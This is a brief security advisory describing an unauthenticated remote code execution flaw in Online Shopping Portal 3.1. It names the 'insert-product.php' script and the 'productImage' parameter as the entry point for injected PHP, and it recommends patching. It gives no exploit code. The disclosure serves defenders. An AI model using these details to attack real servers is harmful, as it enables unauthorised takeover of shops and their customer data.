Online Shopping Portal 3.1 – Remote Code Execution (Unauthenticated)

An unauthenticated attacker can exploit a vulnerability in Online Shopping Portal 3.1 to execute arbitrary code on the server. The vulnerability exists due to insufficient validation of user-supplied input in the 'insert-product.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with malicious PHP code in the 'productImage' parameter. This will allow the attacker to execute arbitrary code on the server.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to update the application to the latest version.
